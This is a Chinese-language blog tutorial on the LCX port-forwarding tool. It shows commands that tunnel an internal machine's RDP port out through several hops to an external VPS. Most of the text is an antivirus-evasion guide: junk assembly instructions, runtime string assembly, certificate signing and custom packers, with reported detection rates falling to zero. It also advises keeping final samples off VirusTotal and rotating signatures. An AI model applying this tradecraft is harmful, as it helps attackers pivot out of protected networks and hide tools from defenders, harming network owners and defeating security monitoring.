内网工具 LCX 之旧瓶装新酒
字数 1330 2025-08-09 15:23:10
LCX内网端口转发工具深度解析与免杀技术指南
一、LCX工具概述
LCX是一款经典的内网端口转发工具,自2007年面世以来持续活跃在各类攻防演练中,证明了其实用性和易用性。
二、核心功能与使用命令
1. 基本命令结构
-
-listen <ConnectPort1> <TransmitPort2>
监听端口1,接收由端口2转发过来的数据 -
-tran <ConnectPort> <TransmitHost> <TransmitPort>
端口转向功能,通过访问该端口可直接与目标主机端口通信 -
-slave <TransmitHostB> <PortB> <TransmitHostA> <PortA>
端口转发功能,将主机A的端口A转发到主机B的端口B
2. 典型使用场景
场景1:内网机器端口转发到外网VPS
# 内网机器执行
lcx.exe -slave 外网VPS_IP 55 内网设备_IP 3389
# 外网VPS执行
lcx.exe -listen 55 3389
场景2:多级跳转转发
机器1(不可出外网)-172.16.1.10:
lcx.exe -slave 172.16.1.20 55 172.16.1.10 3389
机器2(不可出外网)-172.16.1.20:
lcx.exe -tran 55 172.16.1.30 66
机器3(可出外网)-172.16.1.30:
lcx.exe -tran 66 17.18.19.20 77
机器4(外网VPS)-17.18.19.20:
lcx.exe -listen 77 3389
三、源码分析与关键函数
核心功能函数
-
bind2bind
-listen命令专用,绑定本机两个端口 -
bind2conn
-tran命令专用,绑定本机端口与远程主机端口 -
client_connect
主动建立socket连接 -
conn2conn
-slave命令专用,绑定两台主机的指定端口 -
create_server
建立监听服务 -
tranmitdata
多socket数据交互核心函数
四、免杀技术详解
1. 基础免杀方案
重新编译:使用最新VS环境重新编译源码,改变编译环境特征
2. 花指令技术
在main函数入口处添加无效指令,破坏反汇编过程:
__asm {
nop
nop
push eax
pop eax
jz label
jnz label
label:
}
效果对比:
- 原始查杀率:24/49 (Virscan), 17/56 (VT)
- 增加花指令后:5/50 (Virscan), 6/68 (VT)
3. 字符串特征处理
删除无用字符串:
- 移除所有调试和状态打印信息
- 效果:1/50 (Virscan), 2/69 (VT)
字符串变形技术:
将明文字符串改为运行时拼接:
// 修改前
printf("Usage: lcx [-options] [parameter]\n");
// 修改后
char usage[] = {'U','s','a','g','e',':',' ',0};
printf("%slcx [-options] [parameter]\n", usage);
效果:0/50 (Virscan), 1/69 (VT)
4. 数字签名技术
添加合法数字签名可显著降低查杀率:
- 使用有效证书签名工具
- 效果:0/50 (Virscan), 0/68 (VT)
5. 加壳注意事项
不推荐方案:
- 使用UPX等常见壳会提高检测率
- 示例:简单HelloWorld程序加UPX壳后即被多款AV检测
推荐方案:
- 使用冷门壳或自定义壳
- 自行修改现有壳的特征
五、免杀时效管理
-
避免样本暴露:
- 不在VT等在线平台测试最终版本
- 使用离线AV引擎测试
-
特征轮换:
- 定期更新花指令模式
- 动态调整字符串处理方式
-
编译环境变化:
- 交替使用不同版本编译器
- 修改编译参数和优化选项
六、技术总结
-
免杀效果阶梯:
- 基础编译:中等效果
- 花指令+字符串处理:显著提升
- 数字签名:接近完全免杀
-
关键要点:
- 避免使用现成加壳工具
- 保持字符串不可读性
- 利用合法签名降低可疑度
-
持续对抗:
- 免杀是动态过程
- 需持续更新技术手段
- 结合实际场景调整方案
本指南详细介绍了LCX工具的核心功能和免杀技术路径,通过分阶段实施这些技术,可有效延长工具在实战中的使用寿命。记住,免杀的本质是特征管理,需要根据实际检测环境不断调整策略。